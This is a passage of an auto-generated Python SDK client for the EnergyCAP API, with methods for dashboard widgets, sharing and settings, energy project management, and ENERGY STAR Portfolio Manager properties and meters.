raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DashboardResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
copy_dashboard.metadata = {'url': '/api/v3/dashboard/{dashboardId}/copy'}
def get_dashboard_widgets(
self, dashboard_id, custom_headers=None, raw=False, **operation_config):
"""Get all widgets on a dashboard
For a dashboard to be returned you must have created the dashboard
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps View permission and the dashboard is
shared with you.
:param dashboard_id: Dashboard Identifier
:type dashboard_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.SpecificWidgetResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_dashboard_widgets.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[SpecificWidgetResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_dashboard_widgets.metadata = {'url': '/api/v3/dashboard/{dashboardId}/widget'}
def add_widget(
self, dashboard_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Add a widget to a dashboard
To add widgets to a dashboard you must have created the dashboard
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps Edit permission and the dashboard is
shared with you.
:param dashboard_id: dashboard
:type dashboard_id: int
:param body: Request object
:type body: ~energycap.sdk.models.WidgetCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: SpecificWidgetResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.SpecificWidgetResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.add_widget.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'WidgetCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('SpecificWidgetResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
add_widget.metadata = {'url': '/api/v3/dashboard/{dashboardId}/widget'}
def get_dashboard_share(
self, dashboard_id, custom_headers=None, raw=False, **operation_config):
"""Get the individual users and user groups a dashboard is shared with
For a dashboard to be returned you must have created the dashboard
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps View permission and the dashboard is
shared with you.
:param dashboard_id: Dashboard Identifier
:type dashboard_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ShareResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ShareResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_dashboard_share.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ShareResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_dashboard_share.metadata = {'url': '/api/v3/dashboard/{dashboardId}/share'}
def edit_dashboard_share(
self, dashboard_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update the shared users and user groups for a dashboard
To remove sharing completely set SharedWithEveryone to false,
SharedUserIds to [], and SharedUserGroupIds to []
You must have created the dashboard and have SharedDashboardsOrMaps
Create permission
or have DashboardAdministrator Manage permission and the dashboard must
be shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public.
:param dashboard_id: Dashboard Identifier
:type dashboard_id: int
:param body: users and user groups to share the dashboard with
:type body: ~energycap.sdk.models.ShareRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ShareResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ShareResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_dashboard_share.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ShareRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ShareResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_dashboard_share.metadata = {'url': '/api/v3/dashboard/{dashboardId}/share'}
def dashboard_action_visible(
self, dashboard_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update the visibility of a dashboard for the current user
This must be a dashboard you can see
Which means you must have created the dashboard
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps View permission and the dashboard is
shared with you.
:param dashboard_id: Specific dashboard
:type dashboard_id: int
:param body: Set Visibility
:type body: ~energycap.sdk.models.ToggleVisible
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DashboardResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DashboardResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.dashboard_action_visible.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ToggleVisible')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DashboardResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
dashboard_action_visible.metadata = {'url': '/api/v3/dashboard/{dashboardId}/visible'}
def edit_dashboard_widgets(
self, dashboard_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Reorder, edit, and delete specific widgets on a dashboard.
To edit dashboard widgets you must have created the dashboard
or have DashboardAdministrator Manage permission and the dashboard is
shared at all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps Edit permission and the dashboard is
shared with you.
:param dashboard_id: dashboard
:type dashboard_id: int
:param body: Request object
:type body: list[~energycap.sdk.models.WidgetEdit]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.SpecificWidgetResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_dashboard_widgets.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[WidgetEdit]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[SpecificWidgetResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_dashboard_widgets.metadata = {'url': '/api/v202208/dashboard/{dashboardId}/widget'}
def edit_dashboard_settings(
self, dashboard_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits the public display settings for a dashboard. Settings can only be
applied to public dashboards. Filter settings cannot be applied to Map
dashboards.
To apply these settings, you must have the PublicDashboardsOrMaps
Manage permission.
You must also have either created the dashboard
or have DashboardAdministrator Manage and the dashboard is shared at
all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps Edit permission and the dashboard is
shared with you.
:param dashboard_id: The identifier for the dashboard to apply
settings to.
:type dashboard_id: int
:param body: An object containing the settings to be applied.
:type body: ~energycap.sdk.models.DashboardGlobalSettingsEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: DashboardResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.DashboardResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_dashboard_settings.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'DashboardGlobalSettingsEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('DashboardResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_dashboard_settings.metadata = {'url': '/api/v202208/dashboard/{dashboardId}/publicsetting'}
def get_map_dashboard_settings(
self, dashboard_id, custom_headers=None, raw=False, **operation_config):
"""Gets the current display settings and filters for a specific map
dashboard. Cannot be used to retreive settings for a standard
dashboard.
:param dashboard_id: The identifier of the dashboard to get the
settings of
:type dashboard_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MapDashboardSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MapDashboardSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_map_dashboard_settings.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MapDashboardSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_map_dashboard_settings.metadata = {'url': '/api/v202208/dashboard/{dashboardId}/mapsetting'}
def edit_map_dashboard_settings(
self, dashboard_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Applies display settings and filters to a map dashboard. These settings
are specific to map dashboards, and cannot be applied to standard
dashboards.
To apply these settings, You must also have either:
Created the dashboard
or have DashboardAdministrator Manage and the dashboard is shared at
all
or have DashboardAdministrator Manage permission and the dashboard is
public
or have SharedDashboardsOrMaps Edit permission and the dashboard is
shared with you.
:param dashboard_id: The identifier of the dashboard to apply these
settings to
:type dashboard_id: int
:param body: Object containing the settings to be applied.
:type body: ~energycap.sdk.models.MapDashboardSettingsRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MapDashboardSettingsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MapDashboardSettingsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_map_dashboard_settings.metadata['url']
path_format_arguments = {
'dashboardId': self._serialize.url("dashboard_id", dashboard_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'MapDashboardSettingsRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MapDashboardSettingsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_map_dashboard_settings.metadata = {'url': '/api/v202208/dashboard/{dashboardId}/mapsetting'}
def get_energy_project(
self, project_id, custom_headers=None, raw=False, **operation_config):
"""Get an energy project.
:param project_id: The identifier for the energy project to retrieve
:type project_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyProjectResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyProjectResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_project.metadata['url']
path_format_arguments = {
'projectId': self._serialize.url("project_id", project_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyProjectResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_project.metadata = {'url': '/api/v3/energyproject/{projectId}'}
def edit_energy_project(
self, project_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edits an Energy Project.
:param project_id: The identifier for the energy project being edited
:type project_id: int
:param body:
:type body: ~energycap.sdk.models.EnergyProjectEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyProjectResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyProjectResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_energy_project.metadata['url']
path_format_arguments = {
'projectId': self._serialize.url("project_id", project_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'EnergyProjectEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyProjectResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_energy_project.metadata = {'url': '/api/v3/energyproject/{projectId}'}
def delete_energy_project(
self, project_id, custom_headers=None, raw=False, **operation_config):
"""Deletes an Energy Project.
:param project_id: The identifier for the energy project being deleted
:type project_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_energy_project.metadata['url']
path_format_arguments = {
'projectId': self._serialize.url("project_id", project_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_energy_project.metadata = {'url': '/api/v3/energyproject/{projectId}'}
def create_energy_project(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates an Energy Project.
:param body: Data representing the Energy project being created
:type body: ~energycap.sdk.models.EnergyProjectCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyProjectResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyProjectResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_energy_project.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'EnergyProjectCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyProjectResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_energy_project.metadata = {'url': '/api/v3/energyproject'}
def get_energy_project_types(
self, custom_headers=None, raw=False, **operation_config):
"""Get all the energy project types.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.EnergyProjectType] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_project_types.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[EnergyProjectType]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_project_types.metadata = {'url': '/api/v3/energyproject/energyprojecttype'}
def create_energy_project_type(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a energy project type.
:param body:
:type body: ~energycap.sdk.models.EnergyProjectTypeCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyProjectType or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyProjectType or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_energy_project_type.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'EnergyProjectTypeCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyProjectType', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_energy_project_type.metadata = {'url': '/api/v3/energyproject/energyprojecttype'}
def get_energy_project_manager(
self, query=None, custom_headers=None, raw=False, **operation_config):
"""Get the energy project managers.
:param query:
:type query: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ProjectManagerResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_energy_project_manager.metadata['url']
# Construct parameters
query_parameters = {}
if query is not None:
query_parameters['query'] = self._serialize.query("query", query, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ProjectManagerResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_energy_project_manager.metadata = {'url': '/api/v3/energyproject/projectmanager'}
def get_portfolio_manager_properties(
self, include_only_unlinked=False, verbose=True, custom_headers=None, raw=False, **operation_config):
"""Get list of Portfolio Manager properties.
:param include_only_unlinked: Include only unlinked properties
:type include_only_unlinked: bool
:param verbose: true by default.
When set to false the API will perform faster but will only retrieve
PmPropertyId and PmPropertyName from Portfolio Manager.
PmPropertyUseType, PmFloorArea, PmFloorAreaUnits will be null.
:type verbose: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.EnergyStarPmProperty] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_portfolio_manager_properties.metadata['url']
# Construct parameters
query_parameters = {}
if include_only_unlinked is not None:
query_parameters['includeOnlyUnlinked'] = self._serialize.query("include_only_unlinked", include_only_unlinked, 'bool')
if verbose is not None:
query_parameters['verbose'] = self._serialize.query("verbose", verbose, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[EnergyStarPmProperty]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_portfolio_manager_properties.metadata = {'url': '/api/v3/energyStar/pmProperty'}
def get_portfolio_manager_property(
self, pm_property_id, verbose=True, custom_headers=None, raw=False, **operation_config):
"""Get a Portfolio Manager property.
:param pm_property_id: Portfolio Manager property identifier
:type pm_property_id: long
:param verbose: true by default.
When set to false the API will perform faster but will only retrieve
PmPropertyId and PmPropertyName from Portfolio Manager.
PmPropertyUseType, PmFloorArea, PmFloorAreaUnits will be null.
:type verbose: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: EnergyStarPmProperty or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.EnergyStarPmProperty or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_portfolio_manager_property.metadata['url']
path_format_arguments = {
'pmPropertyId': self._serialize.url("pm_property_id", pm_property_id, 'long')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if verbose is not None:
query_parameters['verbose'] = self._serialize.query("verbose", verbose, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('EnergyStarPmProperty', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_portfolio_manager_property.metadata = {'url': '/api/v3/energyStar/pmProperty/{pmPropertyId}'}
def get_portfolio_manager_property_meters(
self, pm_property_id, include_only_unlinked=False, verbose=True, custom_headers=None, raw=False, **operation_config):
"""Get list of Portfolio Manager meters for a property.
:param pm_property_id: Portfolio Manager property identifier
:type pm_property_id: long
:param include_only_unlinked: Include only unlinked meters
:type include_only_unlinked: bool
:param verbose: true by default.
When set to false the API will perform faster but will only retrieve
PmMeterId and PmMeterName from Portfolio Manager.
PmCommodityCode and PmUnitCode will be null.
:type verbose: bool
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.EnergyStarPmMeter] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_portfolio_manager_property_meters.metadata['url']
path_format_arguments = {
'pmPropertyId': self._serialize.url("pm_property_id", pm_property_id, 'long')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if include_only_unlinked is not None:
query_parameters['includeOnlyUnlinked'] = self._serialize.query("include_only_unlinked", include_only_unlinked, 'bool')
if verbose is not None:
query_parameters['verbose'] = self._serialize.query("verbose", verbose, 'bool')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[EnergyStarPmMeter]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
